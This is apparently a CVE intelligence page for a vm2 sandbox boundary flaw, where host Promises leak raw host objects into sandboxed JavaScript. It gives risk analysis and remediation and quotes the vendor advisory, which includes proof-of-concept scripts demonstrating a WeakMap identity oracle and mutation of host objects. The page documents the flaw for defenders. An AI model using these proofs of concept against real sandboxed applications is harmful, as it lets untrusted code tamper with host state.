vm2 CVE-2026-44000
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessRun untrusted code in vm2 sandbox
-
ExploitCall .then() on an exposed host Promise
-
ExecutionReceive unwrapped host object via ensureThis()
-
ImpactRead via host WeakMap and mutate host object state
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Resource sphere isolation
MITRE ATT&CK
1 technique across 1 tactic: Collection The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that the embedding host application explicitly expose a host-side Promise which resolves to a host object into the vm2 sandbox (via the sandbox option), AND that the resolved object's prototype has no mapping in vm2's bridge, so ensureThis() falls through to 'return other' and hands the raw host object to the sandbox .then() callback. The attacker must also be able to run arbitrary JavaScript inside the vm2 sandbox, which is vm2's intended untrusted-code threat model (no authentication; CVSS PR:N). LIMITING FACTORS: this is not a default-configuration flaw - applications that never pass host Promises or host objects into the sandbox are not exploitable; impact is bounded to objects actually reachable through such Promises, and demonstrated consequences are read/identity-oracle and in-place mutation of those specific host objects rather than general code execution. |
| Impact | Signals diverge and should be weighed together. The CVSS base score of 7.2 (High) is driven largely by the scope change (S:C) and network vector (AV:N), reflecting that a sandbox boundary is crossed; the actual demonstrated impact is modest (C:L/I:L/A:N - host object identity disclosure and write-through mutation, no availability impact). EPSS is very low at 0.04% (11th percentile), the CVE is NOT in CISA KEV, and exploitation status is 'poc' under SSVC (Automatable: yes, Technical Impact: partial), with vuln.today assigning a 'this_week' priority. A working PoC is published in the GHSA advisory itself. The dominant limiting factor is a non-default precondition: the embedding application must deliberately expose a host-side Promise that resolves to a host object into the sandbox - applications that never do this are unaffected, which largely explains the low EPSS despite the High CVSS. One CONFLICT must be flagged: the v3.11.0 release notes label this advisory (GHSA-mpf8-4hx2-7cjg) an 'RCE' primitive, whereas the CVSS vector and the advisory's own PoC only demonstrate information disclosure and host-object mutation, not code execution - treat the RCE characterization as vendor-asserted but not demonstrated in the supplied evidence. Net: this is a genuine isolation-failure worth patching promptly (fix is available), but it is a conditional, low-probability issue rather than a mass-exploitation emergency. |
| Exploit ScenarioDerived | An application uses vm2 to execute untrusted JavaScript and passes a host-side Promise (that resolves to a host object) into the sandbox via the sandbox option. The sandboxed code calls .then() on that Promise and, because the fulfillment wrapper uses ensureThis() which returns the original object when no prototype mapping is found, receives the real host object with identity intact - allowing it to use a host WeakMap as an identity oracle and to mutate host object state directly. A working PoC with recorded output is published in the vendor's GHSA advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – Oct 26, 2026
Sandboxed JavaScript running inside vm2 3.10.5 and earlier can obtain a raw reference to a host object when the embedding application hands a host-side Promise that resolves to a host object into the sandbox: the fulfillment wrapper calls ensureThis() instead of the stronger cross-realm conversion path, and when no prototype mapping exists ensureThis() returns the original host object unchanged. The result is a boundary violation that lets unauthenticated sandbox code confirm host object identity through a host-side WeakMap/WeakSet oracle and write through to the resolved host object's state, as demonstrated by public proof-of-concept code published with the vendor advisory (SSVC exploitation status: poc). Exposure is conditional, not default: only applications that explicitly expose such host Promises into the sandbox and whose resolved objects lack a prototype mapping are affected, and demonstrated impact is limited to the objects reachable through those Promises (CVSS 7.2, scope changed, low confidentiality and integrity impact). EPSS is 0.04% (11th percentile) and there is no CISA KEV listing; the vendor fixed the flaw in vm2 3.11.0.
Earlier versions of this analysis (1)
Host object identity crosses the vm2 sandbox boundary when Promise resolution delivers objects to sandbox callbacks, allowing sandboxed code to mutate host objects and perform identity checks via WeakMap. The vulnerability stems from Promise.prototype.then wrapping that uses ensureThis() for conversion instead of stronger cross-realm proxying; when no prototype mapping exists, ensureThis() returns the original host object unmodified. This sandbox escape affects vm2 versions up to 3.10.5 and is fixed in 3.11.0.
RemediationAI
Vendor-released patch: upgrade vm2 to 3.11.0, which is the coordinated security release that closes this advisory along with twelve others; the release notes state that embedders running untrusted code should upgrade and note a minor version bump for a new bufferAllocLimit option and a realpath() method on the FileSystem adapter contract, with no incompatible changes to the existing public API. Because vm2 is a library rather than a service, remediation means bumping the dependency in every application that embeds it and redeploying; advisories and the fixed release are at https://github.com/patriksimek/vm2/security/advisories/GHSA-mpf8-4hx2-7cjg and https://github.com/patriksimek/vm2/releases/tag/v3.11.0. The advisory does not document a configuration-level workaround, so updating is the complete fix; as a stopgap, the assessed preconditions show exposure depends entirely on the host application exposing host Promises that resolve to host objects - removing such Promises from the sandbox option (or resolving to sandbox-native values or primitives before crossing the boundary) removes the vulnerable path, at the cost of redesigning whatever host functionality relied on passing those Promises in. Prioritization signals point to remediating this week (vuln.today decision label: this_week): SSVC marks the issue automatable with partial technical impact and a public proof of concept, while EPSS remains low at 0.04% and there is no KEV listing.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
vm2 isolates untrusted code by wrapping values that cross the host/sandbox boundary in proxies, driven by a bridge that maps host prototypes to sandbox counterparts via a protoMappings table and a mappingOtherToThis WeakMap. In setup-sandbox.js, vm2 overrides Promise.prototype.then so that each sandbox fulfillment callback receives a converted value; the wrapper applies ensureThis(value) before invoking the callback instead of the stronger from()/proxy-wrapping path. bridge.js implements this as thisEnsureThis(), which for objects and functions walks the prototype chain looking for a registered mapping and, if none is found, simply executes 'return other' - handing the untouched host object to sandbox code. The root cause class is CWE-668 (exposure of resource to the wrong sphere), reinforced by CWE-693 (protection mechanism failure): the conversion mechanism silently degrades to identity passthrough for unmapped prototypes. Because reference identity is preserved, the sandbox value is usable as a WeakMap key against host-side collections (an identity oracle proving it is the same object) and supports in-place mutation of the host object and its nested properties. The fix landed in a coordinated security release that closed 13 advisories, several of which address full sandbox-escape RCE primitives; this specific issue (GHSA-mpf8-4hx2-7cjg) is demonstrated in the advisory only as identity disclosure and write-through mutation of objects reachable via such Promises, so general code execution is not established from the supplied evidence. The trigger requires the embedding application to deliberately expose the host Promise; it is not reachable in a default vm2 deployment that never passes host objects into the sandbox.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Untrusted sandbox code needs no privileges (PR:N) and is delivered remotely (AV:N); the escape crosses from sandbox to host (S:C); demonstrated impact is host-object read and mutation only (C:L/I:L/A:N), contingent on the app exposing a host Promise.
Primary rating from NVD.
CVSS VectorNVD
Lifecycle Timeline
4DescriptionNVD
Summary
A sandbox boundary violation in vm2 allows host object identity to cross into the sandbox through host Promise resolution.
When a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox .then() callback preserves host identity. This allows the sandbox to interact with the host object directly, including:
- Performing identity checks using host-side
WeakMap - Mutating host object state from inside the sandbox
This behavior occurs because the Promise fulfillment wrapper uses ensureThis() instead of the stronger cross-realm conversion path (from() / proxy wrapping). If no prototype mapping is found, ensureThis() returns the original object.
As a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation.
---
Details
In setup-sandbox.js, vm2 wraps Promise.prototype.then:
globalPromise.prototype.then = function then(onFulfilled, onRejected) {
resetPromiseSpecies(this);
if (typeof onFulfilled === 'function') {
const origOnFulfilled = onFulfilled;
onFulfilled = function onFulfilled(value) {
value = ensureThis(value);
return apply(origOnFulfilled, this, [value]);
};
}
return apply(globalPromiseThen, this, [onFulfilled, onRejected]);
};
The wrapper calls ensureThis(value) before invoking the sandbox callback.
However, ensureThis is implemented in bridge.js as thisEnsureThis():
function thisEnsureThis(other) {
const type = typeof other;
switch (type) {
case 'object':
if (other === null) return null;
case 'function':
let proto = thisReflectGetPrototypeOf(other);
if (!proto) {
return other;
}
while (proto) {
const mapping = thisReflectApply(thisMapGet, protoMappings, [proto]);
if (mapping) {
const mapped = thisReflectApply(thisWeakMapGet, mappingOtherToThis, [other]);
if (mapped) return mapped;
return mapping(defaultFactory, other);
}
proto = thisReflectGetPrototypeOf(proto);
}
return other;
If no prototype mapping is found, ensureThis() simply returns the original object:
return other;
This means the sandbox receives the original host object instead of a proxied or sanitized representation.
Because of this behavior, values resolved by host Promises can cross the host-sandbox boundary with identity preserved.
PoC
The following Proof of Concept demonstrates that an object resolved by a host Promise can be used as a valid key in a host-side WeakMap from inside the sandbox.
WeakMap keys rely on reference identity, so a successful lookup proves that the sandbox received the host object identity.
PoC Code
import {VM} from "./index.js";
const hostObj = {tag: "HOST_OBJ"};
const hostPromise = Promise.resolve(hostObj);
// WeakMap created on the host
const wm = new WeakMap([[hostObj, "HIT"]]);
const vm = new VM({
sandbox: {hostPromise, wm},
timeout: 1000,
eval: false,
wasm: false,
});
const code = `
hostPromise.then(v => ({
weakMapGet: wm.get(v),
typeofV: typeof v,
tag: v.tag
}))
`;
const result = await vm.run(code);
console.log("VM RESULT:", result);
console.log("HOST SAME KEY STILL:", wm.get(hostObj));
Output
VM RESULT: { weakMapGet: 'HIT', typeofV: 'object', tag: 'HOST_OBJ' }
HOST SAME KEY STILL: HIT
This confirms that the object delivered to the sandbox callback retains host identity.
Additional Demonstration: Host Object Mutation
The sandbox can also mutate host object state through the resolved Promise value.
import {VM} from "./index.js";
const hostObj = {tag: "HOST_OBJ", nested: {x: 1}};
const hostPromise = Promise.resolve(hostObj);
const vm = new VM({
sandbox: {hostPromise},
timeout: 1000,
eval: false,
wasm: false,
});
const code = `
hostPromise.then(v => {
v.nested.x = 999;
v.tag = "MUTATED";
return { seenTag: v.tag, seenX: v.nested.x };
})
`;
const result = await vm.run(code);
console.log("VM RESULT:", result);
console.log("HOST AFTER:", hostObj);
**Output:**
VM RESULT: { seenTag: 'MUTATED', seenX: 999 }
HOST AFTER: { tag: 'MUTATED', nested: { x: 999 } }
This demonstrates write-through mutation of a host object from sandbox code.
**Impact**
This vulnerability allows host object references to cross the vm2 sandbox boundary via Promise resolution.
Consequences include:
Host object identity disclosure
Write-through mutation of host objects
WeakMap / WeakSet identity oracle across the boundary
Potential capability leaks if sensitive host objects are reachable via Promises
Applications that expose host Promises to sandboxed code may unintentionally grant the sandbox direct access to host objects.
This weakens the intended isolation guarantees of vm2.Executive ViewAI
A high-severity sandbox escape exists in the widely used vm2 JavaScript isolation library (versions 3.10.5 and earlier), the component many Node.js applications rely on to safely run untrusted code. Organizations using vm2 to isolate third-party or user-supplied code face a potential boundary violation where sandboxed code can reach and modify host objects, undermining the core security guarantee that drove adoption of the library. Leadership should care because any product or internal service depending on vm2 for multi-tenant or untrusted code execution may have a weakened isolation boundary, though exposure is limited to applications that specifically pass host Promises into the sandbox.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
GHSA-mpf8-4hx2-7cjg
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB